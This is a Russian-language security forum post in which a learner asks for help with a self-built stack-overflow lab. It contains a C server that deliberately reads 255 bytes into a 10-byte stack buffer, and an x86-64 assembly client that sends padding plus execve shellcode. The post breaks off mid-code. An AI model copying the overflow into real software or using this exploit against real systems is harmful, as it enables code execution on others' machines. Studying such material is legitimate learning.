ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

05.06.2020, 19:01
|
|
Guest
Сообщений: n/a
Провел на форуме: 2297
Репутация:
2
|
|
хочу понять как это работает и кое что не получается. я написал простенький сервер со стековым буфером, который равен 10 байт.
Код:
Code:
#include
#include
#include
#include
#include
#include
static void read_data ( const int client ) {
char buf[10];
read ( client, buf, 255 );
printf ( "%s\n", buf );
}
int main ( ) {
int sock = socket ( AF_INET, SOCK_STREAM, 0 );
if ( sock == -1 ) perror ( "socket" );
int ret;
int val = 1;
ret = setsockopt ( sock, SOL_SOCKET, SO_REUSEPORT, &val, sizeof ( val ) );
if ( ret == -1 ) perror ( "setsockopt" );
struct sockaddr_in s;
memset ( &s, 0, sizeof s );
s.sin_family = AF_INET;
s.sin_port = htons ( 8020 );
inet_aton ( "127.0.0.1", &s.sin_addr );
ret = bind ( sock, ( const struct sockaddr * ) &s, sizeof s );
if ( ret == -1 ) perror ( "bind" );
listen ( sock, 0 );
socklen_t size = sizeof ( struct sockaddr_in );
while ( 1 ) {
printf ( "ожидание нового сообщения\n" );
struct sockaddr_in sc;
int client = accept ( sock, ( struct sockaddr * ) &sc, &size );
printf ( "подключился новый клиент\n" );
read_data ( client );
}
}
эта программа на сервере запускается. а вот я написал программу, которая запускается на клиенте.
[CODE]
Code:
;DEFAULT REL
global main
extern printf
extern inet_aton
extern perror
extern connect
extern calloc
section .text
shellcode:
mov rax, 59
mov rdi, [path]
mov rsi, 0
mov rdx, 0
syscall
exploit:
push rbp
mov rbp, rsp
sub rsp, 8
mov esi, 1
add rdi, [size_of_shellcode]
push rdi
call calloc
mov [rbp + 0], rax
pop rdi
mov ecx, edi
xor rbx, rbx
mov ebx, ecx
mov rdi, [rbp + 0]
xor rax, rax
mov al, '0'
d1:
.loop_fill:
stosb
inc al
dec ecx
cmp ecx, 0
jg .loop_fill
lea rsi, [shellcode]
mov rcx, [size_of_shellcode]
rep movsb
mov rax, 1
mov rdi, [sock]
lea rsi, [rbp + 0]
mov rdx, [size_of_shellcode]
syscall
;--- цикл чтения и записи ----
forever:
mov rdx, 255
lea rsi, [buf_read]
mov rdi, [sock]
mov rax, 0
syscall
mov rdx, rax
lea rsi, [buf_read]
mov rdi, 1
mov rax, 1
syscall
jmp forever
leave
ret
main:
;------ получаем сокет -------
push rbp
mov rbp, rsp
sub rsp, 16
xor rsi, rsi
xor rdi, rdi
xor rdx, rdx
mov rdx, 0
mov si, [SOCK_STREAM]
mov di, [PF_INET]
mov rax, 41
syscall
mov [sock], eax
cmp rax, 0
jg continue_socket
xor rax, rax
lea rdi, [cant_socket]
syscall
jmp exit
;---- заполнить структуру ----
continue_socket:
xor rax, rax
mov ax, [PF_INET]
mov [s + sockaddr_in.family], ax
mov ax, [server_port]
xchg al, ah
mov [s + sockaddr_in.port], ax
xor rax, rax
lea rdi, [host]
xor rsi, rsi
lea esi, [s + sockaddr_in.s_addr]
call inet_aton
cmp rax, 0
jg continue_fill
lea rdi, [cant_fill]
call perror
jmp exit
;------- подключение --------
continue_fill:
xor rax, rax
mov [s + sockaddr_in.data], rax
xor rsi, rsi
xor rdi, rdi
xor rdx, rdx
mov edx, [sizeof_s]
lea rsi, [s]
mov edi, [sock]
xor rax, rax
call connect
cmp rax, 0
je continue_connect
lea rdi, [cant_connect]
call perror
jmp exit
continue_connect:
;---- написать сообщение ----
xor rax, rax
mov rdi, 10 ;
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|